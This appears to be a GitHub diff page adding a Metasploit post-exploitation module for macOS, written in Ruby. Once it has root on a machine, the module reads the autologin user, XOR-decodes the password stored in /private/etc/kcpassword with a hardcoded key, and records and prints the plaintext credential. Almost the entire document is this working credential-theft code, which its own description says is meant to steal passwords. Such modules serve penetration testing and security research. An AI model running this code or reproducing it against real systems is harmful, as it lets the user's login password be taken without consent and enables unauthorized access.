|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Post |
| 9 | + include Msf::Post::File |
| 10 | + |
| 11 | + # extract/verify by by XORing your kcpassword with your password |
| 12 | + AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F] |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'OSX Gather Autologin Password as Root', |
| 17 | + 'Description' => %q{ |
| 18 | + This module will steal the plaintext password of any user on the machine |
| 19 | + with autologin enabled. Root access is required. |
| 20 | +
|
| 21 | + When a user has autologin enabled (System Preferences -> Accounts), OSX |
| 22 | + stores their password with an XOR encoding in /private/etc/kcpassword. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => [ 'joev' ], |
| 26 | + 'Platform' => [ 'osx' ], |
| 27 | + 'References' => [ |
| 28 | + ['URL', 'http://www.brock-family.org/gavin/perl/kcpassword.html'] |
| 29 | + ], |
| 30 | + 'SessionTypes' => [ 'shell' ] |
| 31 | + )) |
| 32 | + |
| 33 | + register_advanced_options([ |
| 34 | + OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword']) |
| 35 | + ], self.class) |
| 36 | + end |
| 37 | + |
| 38 | + def run |
| 39 | + # ensure the user is root (or can read the kcpassword) |
| 40 | + unless user == 'root' |
| 41 | + fail_with(Failure::NoAccess, "Root privileges are required to read kcpassword file") |
| 42 | + end |
| 43 | + |
| 44 | + # read the autologin account from prefs plist |
| 45 | + read_cmd = "defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username" |
| 46 | + autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'") |
| 47 | + |
| 48 | + if autouser.present? |
| 49 | + print_status "User #{autouser} has autologin enabled, decoding password..." |
| 50 | + else |
| 51 | + fail_with(Failure::NotVulnerable, "No users on this machine have autologin enabled") |
| 52 | + end |
| 53 | + |
| 54 | + # kcpass contains the XOR'd bytes |
| 55 | + kcpass = read_file(kcpassword_path) |
| 56 | + key = AUTOLOGIN_XOR_KEY |
| 57 | + |
| 58 | + # decoding routine, slices into 11 byte chunks and XOR's each chunk |
| 59 | + decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc| |
| 60 | + kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join |
| 61 | + end.join.sub(/\x00.*$/, '') |
| 62 | + |
| 63 | + # save in the database |
| 64 | + report_auth_info( |
| 65 | + :host => session.session_host, |
| 66 | + :sname => 'login', |
| 67 | + :user => autouser, |
| 68 | + :pass => decoded, |
| 69 | + :active => true |
| 70 | + ) |
| 71 | + print_good "Decoded autologin password: #{autouser}:#{decoded}" |
| 72 | + end |
| 73 | + |
| 74 | + private |
| 75 | + |
| 76 | + def kcpassword_path |
| 77 | + datastore['KCPASSWORD_PATH'] |
| 78 | + end |
| 79 | + |
| 80 | + def user |
| 81 | + @user ||= cmd_exec('whoami').chomp |
| 82 | + end |
| 83 | +end |
0 commit comments